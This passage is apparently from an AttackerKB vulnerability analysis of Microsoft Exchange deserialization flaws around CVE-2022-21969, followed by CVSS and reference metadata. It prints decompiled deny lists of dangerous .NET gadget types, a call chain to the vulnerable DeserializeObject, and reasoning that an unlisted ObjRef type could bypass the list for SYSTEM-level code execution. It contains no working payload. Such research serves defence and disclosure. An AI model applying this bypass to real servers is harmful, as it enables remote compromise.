\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (BlockedDeserializeTypeException ex) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0DeserializationTypeLogger.Singleton.Log(ex.TypeName, ex.Reason, location, (flag || strictMode) ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (flag) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0private static HashSet<string> BuildDisallowedGenerics() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string> { typeof(SortedSet<>).GetGenericTypeDefinition().FullName }; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0private static HashSet<string> BuildDisallowedTypesForDeserialization() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.Data.Schema.SchemaModel.ModelStore\", \"Microsoft.FailoverClusters.NotificationViewer.ConfigStore\", \"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity\", \"Microsoft.Management.UI.Internal.FilterRuleExtensions\", \"Microsoft.Management.UI.FilterRuleExtensions\", \"Microsoft.Reporting.RdlCompile.ReadStateFile\", \"Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope\", \"Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource\", \"Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore\", \"Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization\", \"Microsoft.VisualStudio.Publish.BaseProvider.Util\", \"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\", \"Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache\", \"Microsoft.Web.Design.Remote.ProxyObject\", \"System.Activities.Presentation.WorkflowDesigner\", \"System.AddIn.Hosting.AddInStore\", \"System.AddIn.Hosting.Utils\", \"System.CodeDom.Compiler.TempFileCollection\", \"System.Collections.Hashtable\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.ComponentModel.Design.DesigntimeLicenseContextSerializer\", \"System.Configuration.Install.AssemblyInstaller\", \"System.Configuration.SettingsPropertyValue\", \"System.Data.DataSet\", \"System.Data.DataViewManager\", \"System.Data.Design.MethodSignatureGenerator\", \"System.Data.Design.TypedDataSetGenerator\", \"System.Data.Design.TypedDataSetSchemaImporterExtension\", \"System.Data.SerializationFormat\", \"System.DelegateSerializationHolder\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Drawing.Design.ToolboxItemContainer\", \"System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer\", \"System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler\", \"System.IdentityModel.Tokens.SessionSecurityToken\", \"System.IdentityModel.Tokens.SessionSecurityTokenHandler\", \"System.IO.FileSystemInfo\", \"System.Management.Automation.PSObject\", \"System.Management.IWbemClassObjectFreeThreaded\", \"System.Messaging.BinaryMessageFormatter\", \"System.Resources.ResourceReader\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Resources.ResXResourceSet\", \"System.Runtime.Remoting.Channels.BinaryClientFormatterSink\", \"System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.BinaryServerFormatterSink\", \"System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.CrossAppDomainSerializer\", \"System.Runtime.Remoting.Channels.SoapClientFormatterSink\", \"System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.SoapServerFormatterSink\", \"System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\", \"System.Runtime.Serialization.Formatters.Soap.SoapFormatter\", \"System.Runtime.Serialization.NetDataContractSerializer\", \"System.Security.Claims.ClaimsIdentity\", \"System.Security.Claims.ClaimsPrincipal\", \"System.Security.Principal.WindowsIdentity\", \"System.Security.Principal.WindowsPrincipal\", \"System.Security.SecurityException\", \"System.Web.Security.RolePrincipal\", \"System.Web.Script.Serialization.JavaScriptSerializer\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Web.Script.Serialization.SimpleTypeResolver\", \"System.Web.UI.LosFormatter\", \"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem\", \"System.Web.UI.ObjectStateFormatter\", \"System.Windows.Data.ObjectDataProvider\", \"System.Windows.Forms.AxHost+State\", \"System.Windows.ResourceDictionary\", \"System.Workflow.ComponentModel.Activity\", \"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector\", \"System.Xml.XmlDataDocument\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Xml.XmlDocument\" \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0private static HashSet<string> BuildGlobalDisallowedGenericsForDeserialization() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string>(); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\n**Interesting to note that this doesn\u2019t seem to contain the entries for `System.Runtime.Remoting.ObjectRef`** which was a new gadget chain just added with <https://github.com/pwntester/ysoserial.net/pull/115> that relies on a rouge .NET remoting server like <https://github.com/codewhitesec/RogueRemotingServer>. There is a writeup on this at <https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html> that explains more but this would allow RCE via a serialized payload attached to the rouge .NET remoting server.\n\nAnyway so from earlier we know that the strict mode is determined via the line `bool strictModeStatus = Microsoft.Exchange.Data.Serialization.Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc);` so this provides our other bypass.\n\nLets check if the result of this is `False` or not:\n\nSo from here we can likely supply a `System.Runtime.Remoting.ObjectRef`, take advantage of the lack of strict checking on this, and get the whole exploit to work. The problem now is finding the whole chain to reach this vulnerable call and then trigger the deserialization.\n\n# January 2022 Patch Analysis\n\n * No adjustments to the `ChainedSerializationBinder` deny list at all. \n\n\nHere is the Jan 2022 version of the deny list:\n \n \n \u00a0\u00a0\u00a0\u00a0private static HashSet<string> BuildDisallowedTypesForDeserialization() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.Data.Schema.SchemaModel.ModelStore\", \"Microsoft.FailoverClusters.NotificationViewer.ConfigStore\", \"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity\", \"Microsoft.Management.UI.Internal.FilterRuleExtensions\", \"Microsoft.Management.UI.FilterRuleExtensions\", \"Microsoft.Reporting.RdlCompile.ReadStateFile\", \"Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope\", \"Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource\", \"Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore\", \"Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization\", \"Microsoft.VisualStudio.Publish.BaseProvider.Util\", \"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\", \"Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache\", \"Microsoft.Web.Design.Remote.ProxyObject\", \"System.Activities.Presentation.WorkflowDesigner\", \"System.AddIn.Hosting.AddInStore\", \"System.AddIn.Hosting.Utils\", \"System.CodeDom.Compiler.TempFileCollection\", \"System.Collections.Hashtable\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.ComponentModel.Design.DesigntimeLicenseContextSerializer\", \"System.Configuration.Install.AssemblyInstaller\", \"System.Configuration.SettingsPropertyValue\", \"System.Data.DataSet\", \"System.Data.DataViewManager\", \"System.Data.Design.MethodSignatureGenerator\", \"System.Data.Design.TypedDataSetGenerator\", \"System.Data.Design.TypedDataSetSchemaImporterExtension\", \"System.Data.SerializationFormat\", \"System.DelegateSerializationHolder\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Drawing.Design.ToolboxItemContainer\", \"System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer\", \"System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler\", \"System.IdentityModel.Tokens.SessionSecurityToken\", \"System.IdentityModel.Tokens.SessionSecurityTokenHandler\", \"System.IO.FileSystemInfo\", \"System.Management.Automation.PSObject\", \"System.Management.IWbemClassObjectFreeThreaded\", \"System.Messaging.BinaryMessageFormatter\", \"System.Resources.ResourceReader\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Resources.ResXResourceSet\", \"System.Runtime.Remoting.Channels.BinaryClientFormatterSink\", \"System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.BinaryServerFormatterSink\", \"System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.CrossAppDomainSerializer\", \"System.Runtime.Remoting.Channels.SoapClientFormatterSink\", \"System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.SoapServerFormatterSink\", \"System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\", \"System.Runtime.Serialization.Formatters.Soap.SoapFormatter\", \"System.Runtime.Serialization.NetDataContractSerializer\", \"System.Security.Claims.ClaimsIdentity\", \"System.Security.Claims.ClaimsPrincipal\", \"System.Security.Principal.WindowsIdentity\", \"System.Security.Principal.WindowsPrincipal\", \"System.Security.SecurityException\", \"System.Web.Security.RolePrincipal\", \"System.Web.Script.Serialization.JavaScriptSerializer\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Web.Script.Serialization.SimpleTypeResolver\", \"System.Web.UI.LosFormatter\", \"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem\", \"System.Web.UI.ObjectStateFormatter\", \"System.Windows.Data.ObjectDataProvider\", \"System.Windows.Forms.AxHost+State\", \"System.Windows.ResourceDictionary\", \"System.Workflow.ComponentModel.Activity\", \"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector\", \"System.Xml.XmlDataDocument\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Xml.XmlDocument\" \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}; \n \u00a0\u00a0\u00a0\u00a0}\n \n\nLooking at this in [[Meld]] shows that the deny list for `ChainedSerializationBinder` did not change between November 2021 and January 2022. So we could use `System.Runtime.Remoting.ObjRef` to bypass this deny list, potentially also allowing RCE on the latest version.\n\n * Removed `Microsoft.Exchange.DxStore.Common.DxBinarySerializationUtil` which seemed to have some options for doing unsafe deserialization. \n\n \n \n using System;\n using System.IO;\n using FUSE.Weld.Base;\n using Microsoft.Exchange.Diagnostics;\n using Microsoft.Exchange.DxStore.Server;\n \n namespace Microsoft.Exchange.DxStore.Common;\n \n public static class DxBinarySerializationUtil\n {\n \tprivate static readonly string[] allowedTypes = new string[101]\n \t{\n \t\ttypeof(ExceptionUri).FullName,\n \t\ttypeof(Ranges).FullName,\n \t\ttypeof(Range).FullName,\n \t\ttypeof(Target).FullName,\n \t\ttypeof(CommonSettings).FullName,\n \t\ttypeof(DataStoreStats).FullName,\n \t\ttypeof(DxStoreAccessClientException).FullName,\n \t\ttypeof(DxStoreAccessClientTransientException).FullName,\n \t\ttypeof(DxStoreAccessReply).FullName,\n \t\ttypeof(DxStoreAccessReply.CheckKey).FullName,\n \t\ttypeof(DxStoreAccessReply.DeleteKey).FullName,\n \t\ttypeof(DxStoreAccessReply.DeleteProperty).FullName,\n \t\ttypeof(DxStoreAccessReply.ExecuteBatch).FullName,\n \t\ttypeof(DxStoreAccessReply.GetAllProperties).FullName,\n \t\ttypeof(DxStoreAccessReply.GetProperty).FullName,\n \t\ttypeof(DxStoreAccessReply.GetPropertyNames).FullName,\n \t\ttypeof(DxStoreAccessReply.GetSubkeyNames).FullName,\n \t\ttypeof(DxStoreAccessReply.SetProperty).FullName,\n \t\ttypeof(DxStoreAccessRequest).FullName,\n \t\ttypeof(DxStoreAccessRequest.CheckKey).FullName,\n \t\ttypeof(DxStoreAccessRequest.DeleteKey).FullName,\n \t\ttypeof(DxStoreAccessRequest.DeleteProperty).FullName,\n \t\ttypeof(DxStoreAccessRequest.ExecuteBatch).FullName,\n \t\ttypeof(DxStoreAccessRequest.GetAllProperties).FullName,\n \t\ttypeof(DxStoreAccessRequest.GetProperty).FullName,\n \t\ttypeof(DxStoreAccessRequest.GetPropertyNames).FullName,\n \t\ttypeof(DxStoreAccessRequest.GetSubkeyNames).FullName,\n \t\ttypeof(DxStoreAccessRequest.SetProperty).FullName,\n \t\ttypeof(DxStoreAccessServerTransientException).FullName,\n \t\ttypeof(DxStoreBatchCommand).FullName,\n \t\ttypeof(DxStoreBatchCommand.CreateKey).FullName,\n \t\ttypeof(DxStoreBatchCommand.DeleteKey).FullName,\n \t\ttypeof(DxStoreBatchCommand.DeleteProperty).FullName,\n \t\ttypeof(DxStoreBatchCommand.SetProperty).FullName,\n \t\ttypeof(DxStoreBindingNotSupportedException).FullName,\n \t\ttypeof(DxStoreClientException).FullName,\n \t\ttypeof(DxStoreClientTransientException).FullName,\n \t\ttypeof(DxStoreCommand).FullName,\n \t\ttypeof(DxStoreCommand.ApplySnapshot).FullName,\n \t\ttypeof(DxStoreCommand.CreateKey).FullName,\n \t\ttypeof(DxStoreCommand.DeleteKey).FullName,\n \t\ttypeof(DxStoreCommand.DeleteProperty).FullName,\n \t\ttypeof(DxStoreCommand.DummyCommand).FullName,\n \t\ttypeof(DxStoreCommand.ExecuteBatch).FullName,\n \t\ttypeof(DxStoreCommand.PromoteToLeader).FullName,\n \t\ttypeof(DxStoreCommand.SetProperty).FullName,\n \t\ttypeof(DxStoreCommand.UpdateMembership).FullName,\n \t\ttypeof(DxStoreCommand.VerifyStoreIntegrity).FullName,\n \t\ttypeof(DxStoreCommand.VerifyStoreIntegrity2).FullName,\n \t\ttypeof(DxStoreCommandConstraintFailedException).FullName,\n \t\ttypeof(DxStoreInstanceClientException).FullName,\n \t\ttypeof(DxStoreInstanceClientTransientException).FullName,\n \t\ttypeof(DxStoreInstanceComponentNotInitializedException).FullName,\n \t\ttypeof(DxStoreInstanceKeyNotFoundException).FullName,\n \t\ttypeof(DxStoreInstanceNotReadyException).FullName,\n \t\ttypeof(DxStoreInstanceServerException).FullName,\n \t\ttypeof(DxStoreInstanceServerTransientException).FullName,\n \t\ttypeof(DxStoreInstanceStaleStoreException).FullName,\n \t\ttypeof(DxStoreManagerClientException).FullName,\n \t\ttypeof(DxStoreManagerClientTransientException).FullName,\n \t\ttypeof(DxStoreManagerGroupNotFoundException).FullName,\n \t\ttypeof(DxStoreManagerServerException).FullName,\n \t\ttypeof(DxStoreManagerServerTransientException).FullName,\n \t\ttypeof(DxStoreReplyBase).FullName,\n \t\ttypeof(DxStoreRequestBase).FullName,\n \t\ttypeof(DxStoreSerializeException).FullName,\n \t\ttypeof(DxStoreServerException).FullName,\n \t\ttypeof(DxStoreServerFault).FullName,\n \t\ttypeof(DxStoreServerTransientException).FullName,\n \t\ttypeof(HttpReply).FullName,\n \t\ttypeof(HttpReply.DxStoreReply).FullName,\n \t\ttypeof(HttpReply.ExceptionReply).FullName,\n \t\ttypeof(HttpReply.GetInstanceStatusReply).FullName,\n \t\ttypeof(HttpRequest).FullName,\n \t\ttypeof(HttpRequest.DxStoreRequest).FullName,\n \t\ttypeof(HttpRequest.GetStatusRequest).FullName,\n \t\ttypeof(HttpRequest.GetStatusRequest.Reply).FullName,\n \t\ttypeof(HttpRequest.PaxosMessage).FullName,\n \t\ttypeof(InstanceGroupConfig).FullName,\n \t\ttypeof(InstanceGroupMemberConfig).FullName,\n \t\ttypeof(InstanceGroupSettings).FullName,\n \t\ttypeof(InstanceManagerConfig).FullName,\n \t\ttypeof(InstanceSnapshotInfo).FullName,\n \t\ttypeof(InstanceStatusInfo).FullName,\n \t\ttypeof(LocDescriptionAttribute).FullName,\n \t\ttypeof(PaxosBasicInfo).FullName,\n \t\ttypeof(PaxosBasicInfo.GossipDictionary).FullName,\n \t\ttypeof(ProcessBasicInfo).FullName,\n \t\ttypeof(PropertyNameInfo).FullName,\n \t\ttypeof(PropertyValue).FullName,\n \t\ttypeof(ReadOptions).FullName,\n \t\ttypeof(ReadResult).FullName,\n \t\ttypeof(WcfTimeout).FullName,\n \t\ttypeof(WriteOptions).FullName,\n \t\ttypeof(WriteResult).FullName,\n \t\ttypeof(WriteResult.ResponseInfo).FullName,\n \t\ttypeof(GroupStatusInfo).FullName,\n \t\ttypeof(GroupStatusInfo.NodeInstancePair).FullName,\n \t\ttypeof(InstanceMigrationInfo).FullName,\n \t\ttypeof(KeyContainer).FullName,\n \t\ttypeof(DateTimeOffset).FullName\n \t};\n \n \tprivate static readonly string[] allowedGenerics = new string[6] { \"System.Collections.Generic.ObjectEqualityComparer`1\", \"System.Collections.Generic.EnumEqualityComparer`1\", \"System.Collections.Generic.EqualityComparer`1\", \"System.Collections.Generic.GenericEqualityComparer`1\", \"System.Collections.Generic.KeyValuePair`2\", \"System.Collections.Generic.List`1\" };\n \n \tpublic static void Serialize(MemoryStream ms, object obj)\n \t{\n \t\tExchangeBinaryFormatterFactory.CreateSerializeOnlyFormatter().Serialize(ms, obj);\n \t}\n \n \tpublic static object DeserializeUnsafe(Stream s)\n \t{\n \t\treturn ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.HttpBinarySerialize).Deserialize(s);\n \t}\n \n \tpublic static object Deserialize(Stream s)\n \t{\n \t\treturn DeserializeSafe(s);\n \t}\n \n \tpublic static object DeserializeSafe(Stream s)\n \t{\n \t\treturn ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SwordFish_AirSync, strictMode: false, allowedTypes, allowedGenerics).Deserialize(s);\n \t}\n }\n \n\n * Added in `Microsoft.Exchange.DxStore.Common.IDxStoreDynamicConfig.cs` which has the following code: \n\n \n \n namespace Microsoft.Exchange.DxStore.Common;\n \n public interface IDxStoreDynamicConfig\n {\n \tbool IsRemovePublicKeyToken { get; }\n \n \tbool IsSerializerIncompatibleInitRemoved { get; }\n \n \tbool EnableResolverTypeCheck { get; }\n \n \tbool EnableResolverTypeCheckException { get; }\n }\n \n\n# Exploit Chain\n\nLets start at the deserialization chain and work backwards.\n \n \n Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.DeserializeObject\n Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.ExchangeCertificateRpc(ExchangeCertificateRpcVersion version, byte[] inputBlob, byte[] outputBlob)\n Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper.GetCertificate(int version, byte[] inputBlob)\n Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer.GetCertificate(int version, byte[] inputBlob)\n \n\nWe can then use the `Get-ExchangeCertificate` commandlet from <https://docs.microsoft.com/en-us/powershell/module/exchange/get-exchangecertificate?view=exchange-ps> and set a breakpoint inside `Microsoft.Exchange.ExchangeCertificateServicelet.dll` specifically within the `Microsoft.Exchange.Servicelets.ExchangeCertificate.GetCertificate` handler.\n\nUnfortunately it seems like the current way things work we are sending a `ExchangeCertificateRpcVersion rpcVersion` with a version of `Version2`.\n\nExploited process is `Microsoft.Exchange.ServiceHost.exe` which runs as `NT AUTHORITY\\SYSTEM`.\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 3\n", "published": "2022-02-08T00:00:00", "modified": "2022-02-08T00:00:00", "epss": [{"cve": "CVE-2021-42321", "epss": 0.95439, "percentile": 0.99016, "modified": "2023-05-23"}, {"cve": "CVE-2022-21846", "epss": 0.00053, "percentile": 0.19341, "modified": "2023-06-10"}, {"cve": "CVE-2022-21855", "epss": 0.00052, "percentile": 0.18481, "modified": "2023-06-10"}, {"cve": "CVE-2022-21969", "epss": 0.00052, "percentile": 0.18481, "modified": "2023-06-10"}], "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 8.3}, "severity": "HIGH", "exploitabilityScore": 6.5, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.0, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, "href": "https://attackerkb.com/topics/QdE4FMzghj/cve-2022-21969", "reporter": "AttackerKB", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21969", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21969"], "cvelist": ["CVE-2021-42321", "CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "immutableFields": [], "lastseen": "2023-06-10T14:51:34", "viewCount": 10, "enchantments": {"score": {"value": -0.3, "vector": "NONE"}, "dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:EA6AD256-9B4E-4DC6-B230-9ADED3EE40C0"]}, {"type": "avleonov", "idList": ["AVLEONOV:C2458CFFC4493B2CEDB0D34243DEBE3F", "AVLEONOV:D630CE92574B03FCC2E79DCA5007AAFC"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0906"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2021-42321"]}, {"type": "cnvd", "idList": ["CNVD-2021-90307"]}, {"type": "cve", "idList": ["CVE-2021-42321", "CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"]}, {"type": "githubexploit", "idList": ["4A657558-ABE9-5708-B292-B836048EF1AD", "55F902F5-E290-577E-A48D-FB56855B1CBB"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "hivepro", "idList": ["HIVEPRO:846AE370AF77A81941A26AF3FC365026", "HIVEPRO:C224B728F67C8D1703A8BF2411600695"]}, {"type": "ics", "idList": ["AA22-321A"]}, {"type": "kaspersky", "idList": ["KLA12342", "KLA12419"]}, {"type": "kitploit", "idList": ["KITPLOIT:1207079539580982634"]}, {"type": "krebs", "idList": ["KREBS:62B4C5DD1022EFBE81E351F756E43F36", "KREBS:7B6AC3C7BFC3E69830DAE975AA547ADC"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:459DABFC50E1B6D279EDCFD609D8DD50"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_CHAINEDSERIALIZATIONBINDER_RCE-"]}, {"type": "mscve", "idList": ["MS:CVE-2021-42321", "MS:CVE-2022-21846", "MS:CVE-2022-21855", "MS:CVE-2022-21969"]}, {"type": "mskb", "idList": ["KB5007409", "KB5008631"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_NOV_EXCHANGE.NASL", "SMB_NT_MS21_NOV_EXCHANGE_REMOTE.NASL", "SMB_NT_MS22_JAN_EXCHANGE.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:166153", "PACKETSTORM:168131"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:95B6925D28299FFFDEA3BD6BA8F3E443", "QUALYSBLOG:AC6278F5B653A98CD5A97D6001369111"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:20364300767E58631FFE0D21622E63A3", "RAPID7BLOG:F128DF1DF900C5377CF4BBF1DFD03A1A"]}, {"type": "thn", "idList": ["THN:00A15BC93C4697B74FA1D56130C0C35E", "THN:554E88E6A1CE9AFD04BF297E68311306", "THN:CE51F3F4A94EFC268FD06200BF55BECD", "THN:FD9FEFEA9EB66115FF4BAECDD8C520CB"]}, {"type": "threatpost", "idList": ["THREATPOST:05E04E358AB0AB9A5BF524854B34E49D", "THREATPOST:C23B7DE85B27B6A8707D0016592B87A3"]}, {"type": "zdt", "idList": ["1337DAY-ID-37423", "1337DAY-ID-37920"]}]}, "epss": [{"cve": "CVE-2021-42321", "epss": 0.93673, "percentile": 0.98622, "modified": "2023-05-02"}, {"cve": "CVE-2022-21846", "epss": 0.00055, "percentile": 0.20685, "modified": "2023-05-02"}, {"cve": "CVE-2022-21855", "epss": 0.00055, "percentile": 0.20876, "modified": "2023-05-02"}, {"cve": "CVE-2022-21969", "epss": 0.00055, "percentile": 0.20876, "modified": "2023-05-02"}], "vulnersScore": -0.3}, "_state": {"score": 1686408801, "dependencies": 1686425506, "epss": 0}, "_internal": {"score_hash": "30b8dd776837ea0fe9bce7c353be68f3"}, "attackerkb": {"attackerValue": 3, "exploitability": 3}, "wildExploited": true, "wildExploitedCategory": {"Government or Industry Alert": ""}, "wildExploitedReports": [{"category": "Government or Industry Alert", "source_url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "published": "2022-08-23T03:56:00"}], "references_categories": {"Canonical": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21969"], "Miscellaneous": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21969"]}, "tags": ["common_enterprise", "high_privilege_access", "default_configuration", "difficult_to_develop"], "mitre_vector": {}, "last_activity": "2022-08-23T03:56:00"}

